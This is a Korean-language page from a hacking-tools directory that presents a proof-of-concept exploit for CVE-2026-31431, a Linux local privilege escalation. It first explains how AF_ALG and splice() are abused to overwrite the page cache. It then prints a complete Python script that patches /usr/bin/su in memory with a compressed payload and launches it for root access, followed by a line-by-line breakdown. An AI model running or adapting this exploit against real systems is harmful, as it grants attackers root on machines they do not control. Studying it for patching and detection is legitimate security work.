Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-31431-copy-fail — CVE-2026-31431에 대한 익스플로잇 PoC로, AF_ALG와 splice()를 사용하여 Linux 페이지 캐시를 덮어쓰고 메모리에서 /usr/bin/su를 패치하여 권한이 없는 사용자를 root로 승격시킵니다. | Kitploit
도구/GitHubGitHub/trevocastles/cve-2026-31431-copy-fail
Privilege EscalationExploitationPayload DevelopmentBinary Exploitation
GitHubtrevocastles/cve-2026-31431-copy-fail

CVE-2026-31431-copy-fail

CVE-2026-31431에 대한 익스플로잇 PoC로, AF_ALG와 splice()를 사용하여 Linux 페이지 캐시를 덮어쓰고 메모리에서 /usr/bin/su를 패치하여 권한이 없는 사용자를 root로 승격시킵니다.

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
17일 전아직 검토되지 않음

CVE-2026-31431 복사 실패 익스플로잇

1부: 이론적 개념 (CVE-2026-31431 작동 방식)

시스템이 느린 물리적 하드 디스크에서 직접 파일을 계속 가져오는 대신(이 경우 많은 시간이 낭비됩니다), Linux 시스템은 페이지 캐시(Page Cache) 라고 알려진 파일의 임시 복사본을 RAM 안에 생성합니다. 이를 통해 시스템은 전적으로 RAM 내에서 파일을 거의 즉시 실행하고 읽을 수 있습니다.

이 과정은 두 가지 핵심 함수에 의존합니다:

  • AF_ALG: 커널 내부의 파일과 데이터에 대한 암호화/복호화 작업을 처리합니다.

  • splice(): 데이터를 한 메모리 위치에서 다른 메모리 위치로 매우 높은 속도로 직접 이동시키는 역할을 합니다(제로 카피, Zero-Copy).

이 익스플로잇은 이 두 함수를 조작합니다. 시스템이 메모리에서 파일을 처리하고 실행하려고 할 때, 주입된 페이로드 코드를 만나게 됩니다. Linux 커널 자체가 메모리 관리를 처리하기 때문에, 그곳에서 논리적 결함이나 불법적인 변조가 발생했음을 전혀 의심하지 않습니다.

요약: 이 취약점은 대상 파일에 대한 암호화/검사를 우회하기 위해 메모리를 변조합니다. 그런 다음 메모리 내의 특정 4바이트 명령을 덮어써서, 권한이 없는 사용자도 즉시 Root 액세스 권한을 부여받게 합니다—전체 작업은 커널에 의해 직접 실행됩니다.

2부: 익스플로잇 코드 분석

익스플로잇 코드:

Python

root@kitploit:~
#!/usr/bin/env python3
import os as g, zlib, socket as s

def d(x): return bytes.fromhex(x)

def c(f, t, c):
    a = s.socket(38, 5, 0)
    a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    h = 279
    v = a.setsockopt
    v(h, 1, d('0800010000000010' + '0' * 64))
    v(h, 5, None, 4)
    u, _ = a.accept()
    o = t + 4
    i = d('00')
    u.sendmsg([b"A" * 4 + c], [(h, 3, i * 4), (h, 2, b'\x10' + i * 19), (h, 4, b'\x08' + i * 3)], 32768)
    r, w = g.pipe()
    n = g.splice
    n(f, w, o, offset_src=0)
    n(r, u.fileno(), o)
    try: u.recv(8 + t)
    except: 0

f = g.open("/usr/bin/su", 0)
i = 0
e = zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))

while i < len(e):
    c(f, i, e[i:i+4])
    i += 4

g.system("su")

줄별 분석:

  1. e = zlib.decompress(d("78daab77..."))

    이 줄은 압축된 16진수 페이로드를 추출합니다. 이 페이로드는 Root 권한을 부여하도록 설계된 주입 벡터로 생각할 수 있습니다. 16진수 데이터를 원시 바이트로 변환하여 암호 인증을 우회하기 위해 RAM에 쓸 수 있도록 합니다.

  2. a = s.socket(38, 5, 0) , n(f, w, o) , n(r, u.fileno(), o)

    스크립트는 /usr/bin/su 바이너리(사용자 권한 전환을 담당하는 실행 파일)에 대한 읽기 전용 핸들을 엽니다. AF_ALG 소켓(AF_ALG ID = 38)을 설정하고 splice() 시스템 호출을 사용하여 /usr/bin/su 메모리 페이지를 커널의 암호화 엔진으로 직접 스트리밍합니다.

  3. 커널 메모리 덮어쓰기:

    커널의 암호화 모듈(algif_aead)의 결함으로 인해, 커널은 작업 중에 속임을 당합니다. 처리된 출력을 일반적인 임시 버퍼에 쓰는 대신, 페이로드를 RAM에 저장된 /usr/bin/su 바이너리 페이지(페이지 캐시, Page Cache) 위에 직접 씁니다.

  4. while i < len(e): c(f, i, e[i:i+4]); i += 4 &

도구 다운로드
g.system("su")

스크립트는 페이로드를 한 번에 4바이트씩 연속적인 메모리 오프셋에 쓰는 루프를 실행합니다. 루프가 RAM의 명령 패치를 마치면 su를 실행합니다. 이제 커널이 메모리에서 수정된 코드를 실행하므로 암호 검사가 우회되어 명령을 실행하는 모든 사용자에게 Root 액세스 권한이 부여됩니다.